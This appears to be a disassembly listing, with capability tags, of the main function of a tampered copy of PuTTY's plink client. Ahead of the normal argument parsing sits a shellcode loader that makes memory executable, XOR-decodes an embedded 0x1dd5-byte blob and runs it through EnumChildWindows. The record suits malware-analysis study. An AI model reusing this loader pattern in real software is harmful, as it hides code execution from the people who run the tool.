Function at 0x4430d0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1e30
call fcn.004496c0
mov eax, dword [0x4ba7e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x1e0c], eax
mov dword [ebp - 0x1e20], 0xffffffff
mov dword [ebp - 0x1e10], 0
mov dword [ebp - 0x1e1c], 0
mov dword [ebp - 0x1e18], 0
call fcn.0043f5a0
push 0x1dd6
lea eax, [ebp - 0x1ddc]
mov dword [ebp - 0x1e24], 0
push 0x4ab650
push eax
mov dword [ebp - 0x1e30], 0
mov dword [0x4bd474], 3
mov dword [0x4bd470], 0x16
mov dword [0x4bd478], 2
call fcn.0044a510
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x1e2c]
mov dword [ebp - 0x1e2c], 0
push eax
push 0x40
push 0x1dd5
push edi
call esi
test eax, eax
jne 0x4431cf
push 4
push 0x1000
push 0x1dd5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x1e2c]
push eax
push 0x40
push 0x1dd5
push edi
call esi
mov bl, byte [ebp - 0x1ddc]
lea esi, [ebp - 0x1ddc]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x1dd5
nop
mov al, byte [esi + ecx]
nop
nop
lea ecx, [ecx + 1]
xor al, bl
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x4431e7
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.004032c0
push eax
push 0
mov dword [0x4bc058], eax
call fcn.0040a500
push 2
push dword [0x4bc058]
mov dword [0x4bd46c], 0
call fcn.004030c0
push 1
push dword [0x4bc058]
mov dword [0x4bd474], eax
call fcn.004030c0
mov dword [0x4bd470], eax
xor eax, eax
push str.PLINK_PROTOCOL
mov dword [ebp - 0x1e14], eax
call fcn.00478765
add esp, 0x1c
test eax, eax
je 0x4432b4
push eax
call fcn.0040a460
add esp, 4
test eax, eax
je 0x4432b4
mov ecx, dword [eax + 0x48]
push ecx
push 2
push dword [0x4bc058]
mov dword [0x4bd474], ecx
mov eax, dword [eax + 0x4c]
mov dword [0x4bd470], eax
call fcn.00403560
push dword [0x4bd470]
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0x18
mov ebx, dword [ebp + 8]
sub ebx, 1
mov dword [ebp + 8], ebx
je 0x443799
mov ecx, dword [ebp - 0x1e0c]
nop dword [eax]
mov esi, dword [ecx + 4]
add ecx, 4
mov dword [ebp - 0x1e0c], ecx
mov al, byte [esi]
cmp al, 0x2d
jne 0x4434e7
lea edi, [ecx + 4]
cmp ebx, 1
jle 0x4432f2
mov eax, dword [edi]
jmp 0x4432f4
xor eax, eax
push dword [0x4bc058]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
jne 0x443333
push esi
push str.plink:_option___s__requires_an_argument_n
push 2
call fcn.00467b05
add esp, 4
push eax
call fcn.00404780
add esp, 0xc
mov dword [ebp - 0x1e14], 1
jmp 0x4436b8
cmp eax, 2
jne 0x443340
dec ebx
mov ecx, edi
jmp 0x4436be
cmp eax, 1
je 0x4436b8
mov ecx, str._batch
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x443370
test dl, dl
je 0x44336c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x443370
add eax, 2
add ecx, 2
test dl, dl
jne 0x443350
xor eax, eax
jmp 0x443375
sbb eax, eax
or eax, 1
test eax, eax
jne 0x443388
mov dword [0x4bb908], 1
jmp 0x4436b8
mov ecx, 0x4ad49c
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4433b0
test dl, dl
je 0x4433ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4433b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x443390
xor eax, eax
jmp 0x4433b5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4433c8
mov dword [ebp - 0x1e1c], 1
jmp 0x4436b8
mov ecx, 0x4ad4a0
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4433f0
test dl, dl
je 0x4433ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4433f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4433d0
xor eax, eax
jmp 0x4433f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x443f46
mov ecx, str.__version
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x443424
test dl, dl
je 0x443420
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x443424
add eax, 2
add ecx, 2
test dl, dl
jne 0x443404
xor eax, eax
jmp 0x443429
sbb eax, eax
or eax, 1
test eax, eax
je 0x443f46
mov ecx, str.__help
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x443458
test dl, dl
je 0x443454
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x443458
add eax, 2
add ecx, 2
test dl, dl
jne 0x443438
xor eax, eax
jmp 0x44345d
sbb eax, eax
or eax, 1
test eax, eax
je 0x443f35
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x443490
test dl, dl
je 0x44348c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x443490
add eax, 2
add ecx, 2
test dl, dl
jne 0x443470
xor eax, eax
jmp 0x443495
sbb eax, eax
or eax, 1
test eax, eax
je 0x443f3a
mov ecx, str._shareexists
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4434c4
test dl, dl
je 0x4434c0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4434c4
add eax, 2
add ecx, 2
test dl, dl
jne 0x4434a4
xor eax, eax
jmp 0x4434c9
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4434dc
mov dword [ebp - 0x1e18], 1
jmp 0x4436b8
push esi
push str.plink:_unknown_option___s__n
jmp 0x443311
test al, al
je 0x4436be
push dword [0x4bc058]
call fcn.00405850
add esp, 4
test eax, eax
je 0x44351b
cmp dword [ebp - 0x1e10], 0
jne 0x4436cf
cmp dword [0x4bd46c], 0
jne 0x4436cf
push 7
push str.telnet:
push esi
call fcn.00455ae0
add esp, 0xc
test eax, eax
jne 0x4435be
add esi, 7
cmp byte [esi], 0x2f
jne 0x443544
cmp byte [esi + 1], 0x2f
jne 0x443544
add esi, 2
push 1
push 2
push dword [0x4bc058]
call fcn.00403560
push 0x4ad4f4
push esi
call fcn.00405d80
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x44356e
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x44358c
push eax
call fcn.00455a71
push eax
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0x10
jmp 0x44359e
push 0xffffffffffffffff
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0xc
push esi
push 0
push dword [0x4bc058]
call fcn.004035c0
add esp, 0xc
mov dword [ebp - 0x1e10], 1
jmp 0x4436b8
push 0x2c
push esi
call fcn.0044a3e0
mov edi, eax
add esp, 8
test edi, edi
je 0x443607
push esi
mov byte [edi], 0
call fcn.0040a460
mov esi, eax
add esp, 4
test esi, esi
je 0x443604
mov ecx, dword [esi + 0x48]
push ecx
push 2
push dword [0x4bc058]
mov dword [0x4bd474], ecx
call fcn.00403560
mov eax, dword [esi + 0x4c]
add esp, 0xc
mov dword [ebp - 0x1e20], eax
lea esi, [edi + 1]
push 0x40
push esi
call fcn.0044aa90
add esp, 8
cmp eax, esi
jne 0x44365b
inc esi
xor ebx, ebx
call fcn.004032c0
mov edi, eax
push edi
push esi
call fcn.0040a500
add esp, 8
cmp dword [0x4bd46c], 0
jne 0x443669
push edi
call fcn.00405850
add esp, 4
test eax, eax
je 0x443669
push edi
push dword [0x4bc058]
call fcn.00402d40
add esp, 8
mov dword [0x4bd46c], 1
jmp 0x443697
test eax, eax
je 0x443617
mov ebx, esi
mov byte [eax], 0
lea esi, [eax + 1]
jmp 0x443619
push esi
push 0
push dword [0x4bc058]
call fcn.004035c0
push dword [0x4bd470]
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0x18
mov dword [ebp - 0x1e10], 1
push edi
call fcn.00403040
add esp, 4
test ebx, ebx
je 0x4436b5
push ebx
push 0x34
push dword [0x4bc058]
call fcn.004035c0
add esp, 0xc
mov ebx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1e0c]
sub ebx, 1
mov dword [ebp + 8], ebx
jne 0x4432d0
jmp 0x44378c
mov edx, dword [ebp + 8]
xor ebx, ebx
xor edi, edi
xor ecx, ecx
test edx, edx
je 0x44375a
cmp byte [esi], 0
je 0x44370c
cmp edi, ebx
jl 0x4436fd
push 1
lea ebx, [edi + 0x200]
push ebx
push ecx
call fcn.00406150
add esp, 0xc
mov ecx, eax
mov al, byte [esi]
inc esi
mov byte [ecx + edi], al
inc edi
cmp byte [esi], 0
jne 0x4436e5
mov edx, dword [ebp + 8]
cmp edi, ebx
jl 0x443727
push 1
lea ebx, [edi + 0x200]
push ebx
push ecx
call fcn.00406150
mov edx, dword [ebp + 8]
add esp, 0xc
mov ecx, eax
mov eax, dword [ebp - 0x1e0c]
mov byte [ecx + edi], 0x20
inc edi
sub edx, 1
mov dword [ebp + 8], edx
je 0x44373d
mov esi, dword [eax + 4]
add eax, 4
test edx, edx
cmove eax, dword [ebp - 0x1e0c]
mov dword [ebp - 0x1e0c], eax
jne 0x4436e0
test edi, edi
je 0x44375a
mov byte [ecx + edi - 1], 0
push ecx
push 0x14
push dword [0x4bc058]
call fcn.004035c0
push 0x49b3f7
push 0x15
push dword [0x4bc058]
call fcn.004035c0
push 1
push 0x16
push dword [0x4bc058]
call fcn.00403560
add esp, 0x24
cmp dword [ebp - 0x1e14], 0
jne 0x443916
push dword [0x4bc058]
call fcn.00405850
add esp, 4
test eax, eax
je 0x443f35
cmp dword [ebp - 0x1e10], 0
jne 0x4437c5
cmp dword [0x4bd46c], 0
je 0x443f35
push 0
push dword [0x4bc058]
call fcn.00403120
push eax
call fcn.00405a10
mov edi, eax
push 0x49ba58
push edi
call fcn.004699a0
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x443819
push 0x40
push esi
call fcn.0044aa90
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x443819
push esi
push 0x34
push dword [0x4bc058]
mov byte [ebx], 0
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.00405d00
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x44383e
lea eax, [ebx + 1]
push 0x3a
push eax
call fcn.00405d00
add esp, 8
test eax, eax
jne 0x44383e
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x443859
cmp al, 0x20
je 0x443851
cmp al, 9
je 0x443851
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x443846
push edi
push 0
push dword [0x4bc058]
mov byte [ecx], 0
call fcn.004035c0
push edi
call fcn.00406080
push dword [0x4bc058]
call fcn.00402b30
add esp, 0x14
cmp dword [ebp - 0x1e1c], 0
je 0x443899
push 1
push 0x2b
push dword [0x4bc058]
call fcn.00403560
add esp, 0xc
push 0x14
push dword [0x4bc058]
call fcn.00403120
add esp, 8
cmp byte [eax], 0
jne 0x4438df
push 0x15
push dword [0x4bc058]
call fcn.00403120
add esp, 8
cmp byte [eax], 0
jne 0x4438df
push 0x2e
push dword [0x4bc058]
call fcn.00403120
add esp, 8
cmp byte [eax], 0
jne 0x4438df
or dword [0x4bd478], 4
push 2
push dword [0x4bc058]
call fcn.004030c0
push eax
call fcn.0040a4d0
add esp, 0xc
mov dword [0x4bc050], eax
test eax, eax
jne 0x44392c
push str.Internal_fault:_Unsupported_protocol_found_n
push 2
call fcn.00467b05
add esp, 4
push eax
call fcn.00404780
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449391
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1e20]
cmp eax, 0xffffffff
je 0x443948
push eax
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0xc
call fcn.00440a50
cmp dword [0x4bd42c], 0
jne 0x44395d
push str.Plink_requires_WinSock_2_n
jmp 0x443903
push 2
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
cmp eax, 3
jne 0x4439ca
push 0x95
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
test eax, eax
jne 0x4439ca
push 0x1d
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
test eax, eax
jne 0x4439ca
push eax
push 0x9b
push dword [0x4bc058]
call fcn.00403150
add esp, 0xc
test eax, eax
jne 0x4439ca
push 1
push 0xa9
push dword [0x4bc058]
call fcn.00403560
add esp, 0xc
push dword [0x4bc058]
push 0
call fcn.00404860
push eax
mov dword [0x4bd434], eax
call fcn.0043dc40
add esp, 0xc
cmp dword [ebp - 0x1e18], 0
je 0x443a60
mov esi, dword [0x4bc050]
cmp dword [esi + 0x40], 0
jne 0x443a1a
push dword [esi + 0x44]
push str.Connection_sharing_not_supported_for_connection_type__s_n
push 2
call fcn.00467b05
add esp, 4
push eax
call fcn.00404780
add esp, 0xc
jmp 0x443916
mov eax, dword [0x4bc058]
push eax
push 1
push eax
call fcn.004030c0
add esp, 8
push eax
push 0
push dword [0x4bc058]
call fcn.00403120
add esp, 8
push eax
mov eax, dword [esi + 0x40]
call eax
add esp, 0xc
test eax, eax
je 0x443916
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449391
mov esp, ebp
pop ebp
ret
cmp dword [0x4bd420], 0
je 0x443a78
push str.Running_with_restricted_process_ACL
push 0
call fcn.0043dc60
add esp, 8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 7
push dword [0x4bc058]
mov dword [0x4bd448], eax
call fcn.004030c0
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 8
test eax, eax
je 0x443aba
push 0xfffffffffffffff6
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x443aba
lea esi, [eax - 1]
jmp 0x443abc
xor esi, esi
push 8
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
push eax
push esi
lea eax, [ebp - 0x1e18]
push eax
push 1
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
push eax
push 0
push dword [0x4bc058]
call fcn.00403120
add esp, 8
push eax
push dword [0x4bc058]
mov eax, dword [0x4bc050]
push 0x4bc054
push 0
mov eax, dword [eax]
call eax
add esp, 0x20
test eax, eax
je 0x443b1f
push eax
push str.Unable_to_open_connection:_n_s
jmp 0x443a02
mov eax, dword [0x4bc050]
push dword [0x4bd434]
push dword [0x4bc054]
mov eax, dword [eax + 0x34]
call eax
push dword [ebp - 0x1e18]
call fcn.00406080
add esp, 0xc
push 0xfffffffffffffff6
call edi
push 0xfffffffffffffff5
mov dword [0x4bd464], eax
call edi
push 0xfffffffffffffff4
mov dword [0x4bd460], eax
call edi
push 0x4bd44c
push dword [0x4bd464]
mov dword [0x4bd45c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 1
push dword [0x4bd464]
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0x444170
push dword [0x4bd460]
call fcn.0043ee10
push 0
push 0
push 0x444170
push dword [0x4bd45c]
mov dword [0x4bd454], eax
call fcn.0043ee10
add esp, 0x20
mov dword [0x4bd450], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
mov dword [0x4bc05c], eax
mov dword [ebp - 0x1e1c], ebx
call esi
mov edi, eax
nop
test ebx, ebx
jne 0x443c0f
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x28]
call eax
add esp, 4
test eax, eax
je 0x443c0f
push ebx
push ebx
push 0x444060
push dword [0x4bd464]
call fcn.0043ebc0
add esp, 0x10
mov dword [0x4bd458], eax
mov dword [ebp - 0x1e1c], 1
call fcn.00401300
test eax, eax
je 0x443c22
xor esi, esi
mov dword [ebp - 0x1e28], edi
jmp 0x443c55
lea eax, [ebp - 0x1e28]
push eax
push edi
call fcn.0043c2e0
add esp, 8
test eax, eax
je 0x443c52
call esi
mov esi, dword [ebp - 0x1e28]
mov ecx, eax
mov edx, esi
sub ecx, edi
sub edx, edi
cmp ecx, edx
jbe 0x443c4e
xor esi, esi
jmp 0x443c55
sub esi, eax
jmp 0x443c55
or esi, 0xffffffff
lea eax, [ebp - 0x1e10]
push eax
call fcn.0043e9f0
mov ecx, eax
mov eax, dword [ebp - 0x1e10]
push 4
inc eax
push eax
push ecx
call fcn.00406150
mov ecx, dword [ebp - 0x1e10]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x4bd448]
mov dword [ebp - 0x1e20], ebx
push 8
push esi
mov dword [ebx + ecx*4], eax
mov eax, dword [ebp - 0x1e10]
push 0
push ebx
inc eax
push eax
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
mov eax, dword [ebp - 0x1e10]
mov dword [ebp - 0x1e0c], ecx
cmp ecx, eax
jae 0x443cc2
push dword [ebx + ecx*4]
call fcn.0043eaa0
add esp, 4
jmp 0x443ded
jne 0x443e0c
lea eax, [ebp - 0x1e14]
xor esi, esi
push eax
call fcn.0043ffc0
add esp, 4
cmp eax, 0xffffffff
je 0x443cf5
nop
lea eax, [ebp - 0x1e14]
inc esi
push eax
call fcn.00440150
add esp, 4
cmp eax, 0xffffffff
jne 0x443ce0
cmp esi, dword [ebp - 0x1e30]
jle 0x443d21
lea eax, [esi + 0x10]
push 4
push eax
push dword [ebp - 0x1e24]
mov dword [ebp - 0x1e30], eax
call fcn.00406150
mov edi, eax
add esp, 0xc
mov dword [ebp - 0x1e24], edi
jmp 0x443d27
mov edi, dword [ebp - 0x1e24]
lea eax, [ebp - 0x1e14]
xor esi, esi
push eax
mov dword [ebp - 0x1e18], esi
call fcn.0043ffc0
add esp, 4
cmp eax, 0xffffffff
je 0x443d61
mov dword [edi + esi*4], eax
lea eax, [ebp - 0x1e14]
push eax
inc esi
call fcn.00440150
add esp, 4
cmp eax, 0xffffffff
jne 0x443d43
mov dword [ebp - 0x1e18], esi
xor ebx, ebx
test esi, esi
jle 0x443de7
nop dword [eax + eax]
mov edi, dword [edi + ebx*4]
lea eax, [ebp - 0x1e08]
push eax
push 0
push edi
call dword [0x4bd424]
test eax, eax
jne 0x443ddc
push edi
call fcn.00442690
push dword [ebp - 0x1e08]
call fcn.00442690
add esp, 8
xor esi, esi
nop dword [eax]
mov edx, dword [esi + 0x4aad98]
test dword [ebp - 0x1e08], edx
je 0x443dce
mov eax, dword [esi + 0x4aad94]
movzx ecx, word [ebp + eax*4 - 0x1e04]
shl ecx, 0x10
movzx eax, dx
or ecx, eax
push ecx
push edi
call fcn.004401c0
add esp, 8
add esi, 8
cmp esi, 0x30
jb 0x443da0
mov esi, dword [ebp - 0x1e18]
mov edi, dword [ebp - 0x1e24]
inc ebx
cmp ebx, esi
jl 0x443d70
mov ebx, dword [ebp - 0x1e20]
call fcn.004012c0
cmp dword [ebp - 0x1e0c], 0x102
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x443e6b
mov edi, dword [ebp - 0x1e28]
jmp 0x443e6f
inc eax
cmp ecx, eax
jne 0x443ded
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
lea eax, [ebp - 0x1df8]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
je 0x443ded
mov esi, dword [ebp - 0x1dec]
push dword [esi + 0xc]
mov eax, dword [esi]
push dword [esi + 8]
push dword [esi + 4]
call eax
push esi
call fcn.00406080
add esp, 0x10
lea eax, [ebp - 0x1df8]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
jne 0x443e32
jmp 0x443ded
call esi
mov edi, eax
push ebx
call fcn.00406080
mov ebx, dword [ebp - 0x1e1c]
add esp, 4
test ebx, ebx
je 0x443ea1
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x10]
call eax
push eax
push dword [0x4bd458]
call fcn.0043f0d0
add esp, 0xc
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x20]
call eax
add esp, 4
test eax, eax
jne 0x443bd0
push dword [0x4bd450]
call fcn.0043e8f0
push dword [0x4bd454]
mov esi, eax
call fcn.0043e8f0
add esp, 8
add esi, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x443bd0
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x24]
call eax
add esp, 4
test eax, eax
jns 0x443f19
push str.Remote_process_exit_code_unavailable_n
push 2
call fcn.00467b05
add esp, 4
push eax
call fcn.00404780
add esp, 8
mov eax, 1
push eax
call fcn.0043d970
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.00449391
mov esp, ebp
pop ebp
ret
call fcn.004442a0
call fcn.0043dcb0
push 1
call fcn.00477f9a
call fcn.00444490
int3